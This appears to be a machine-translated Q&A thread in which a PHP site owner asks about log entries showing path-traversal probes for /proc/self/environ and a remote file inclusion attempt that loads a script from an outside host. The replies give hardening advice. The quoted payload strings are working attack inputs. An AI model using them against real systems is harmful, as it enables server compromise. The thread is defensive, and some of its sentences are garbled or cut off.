Ao analisar meus registros 404, notei os dois URLs a seguir, ambos ocorreram uma vez:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
e
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
A página em questão, library.php , requer uma variável type com meia dúzia de valores aceitáveis diferentes e, em seguida, uma variável id . Então, um URL válido pode ser
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
e os ids são todos executados através de mysql_real_escape_string antes de serem usados para consultar o banco de dados.
Sou um novato, mas parece-me que ambos os links são simples ataques contra o webroot?
1) Qual a melhor forma de proteger contra esses tipos de coisas além de um 404?
2) Devo permaban o (s) IP (s) responsável (is)?
EDITAR: também notou este aqui
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: O IP ofensivo para todos os 3 ataques foi 216.97.231.15 , que é rastreado para um ISP chamado Lunar Pages localizado nos arredores de Los Angeles.
EDIT 4: Acabei enviando e-mails para seus administradores e eles responderam primeiro que "eles estavam investigando" e, um dia depois, com "este problema deve ser resolvido agora". Não há mais detalhes, infelizmente.
0) sim. No mínimo, é uma investigação sistemática do seu site que tenta descobrir se é vulnerável.
1) Além de certificar-se de que seu código está limpo, não há muito o que fazer, mas execute seus próprios testes em seu host para garantir sua segurança. O Google Skipfish é uma das muitas ferramentas para ajudar você a chegar lá.
2) Eu faria.
Este é um ataque, é muito explicado aqui aqui .
Como dito por outros: sim, é uma tentativa de hack. Por favor, esteja ciente de que, além desta tentativa possivelmente feita à mão, há muitos e muitos automatizados executados por botnets. Geralmente, esses tipos de ataques tentam se infiltrar em vulnerabilidades antigas e / ou algumas falhas típicas de codificação, como a falha na validação da entrada do usuário, levando à injeção de SQL, vazamento de sistema ou arquivo ou similar.
É muito provável que banir essas botnets manualmente, uma vez que botnets podem usar até milhares de endereços IP únicos, então se você quiser bani-los, você terá que usar algum tipo de programa de proibição automatizado. fail2ban vem à minha mente; fazê-lo reagir a eventos mod_security ou algumas outras entradas de log.Se o seu código estiver limpo e com servidor endurecido, essas tentativas de invasão são apenas uma poluição chata. Mas é melhor tomar medidas preventivas e considerar alguns ou todos os seguintes, dependendo de suas necessidades:
mod_security é um módulo do Apache que filtra todos os tipos de tentativas típicas de hacking. Ele também pode restringir o tráfego de saída (a página que seu servidor enviaria para um cliente) se ele vir JavaScript suspeito, etc.
Suhosin para endurecer o próprio PHP.
Execute seus scripts PHP como um usuário que possui o script; coisas como suphp e php-fpm torna isso possível.
Monte seu diretório temporário webroot e PHP como noexec, nosuid, nodev .
Desative as funções desnecessárias do PHP, como system e passthru .
Desabilite os módulos desnecessários do PHP. Por exemplo, se você não precisar de suporte a IMAP, não o habilite.
Mantenha seu servidor atualizado.
Fique de olho nos registros.
Verifique se você tem backups.
Tenha um plano sobre o que fazer se alguém invadir você ou algum outro desastre atingir você.
Esse é um bom começo. Depois, há medidas ainda mais extremas, como Snort e Prelude , mas eles podem ser muito exagerados para a maioria das configurações.
É bem provável que a máquina que está fazendo essas consultas seja um zumbi de botnets. Se você está recebendo esses pedidos de vários IPs, provavelmente não vale a pena bani-los, porque você teria que banir metade da Internet para que seja eficaz.
Como já foi dito, é uma tentativa de acessar o arquivo / proc / self / environ para obter mais informações.
Eu assumo que é uma máquina Linux:
Você deve usar
Você pode bloquear o ip de um servidor atacante, mas deve considerar que ele pode não ser atacado no recurso.
Eu costumava bloquear alguns serviços quando meu servidor está sob ataque: http / https / pop / imap / ssh mas deixo o smtp aberto, para que você seja notificado se cometeu um erro.
Sim, é uma tentativa de invasão. Você deve definitivamente colocar uma proibição no IP. Se você determinar que o IP está fora do país, você pode apenas querer banir a sub-rede inteira a que pertence. Isso é menos um problema de código do que um problema de servidor. Veja essa intrusão específica e certifique-se de que seu provedor de hospedagem não seja vulnerável a ela ou a tentativas parecidas de script (que é a aparência dessa).
Esta é uma tentativa de explorar uma vulnerabilidade potencial inclusão de arquivo local arbitrário em scripts do lado do servidor acessíveis através do seu servidor web. Em um sistema linux vulnerável /proc/self/environ pode ser abusado para executar código arbitrário no servidor.
Como recomendado por Janne Pikkarainen:
Keep your eye on logs.
Make sure you have backups.
Como parte desses registros, é importante monitorar as alterações de qualquer um dos seus arquivos, incluindo seu site, como parte de um sistema de detecção de invasão. Um exemplo é o OpenBSD que faz isso por padrão para os arquivos de configuração. Eu trago isso porque: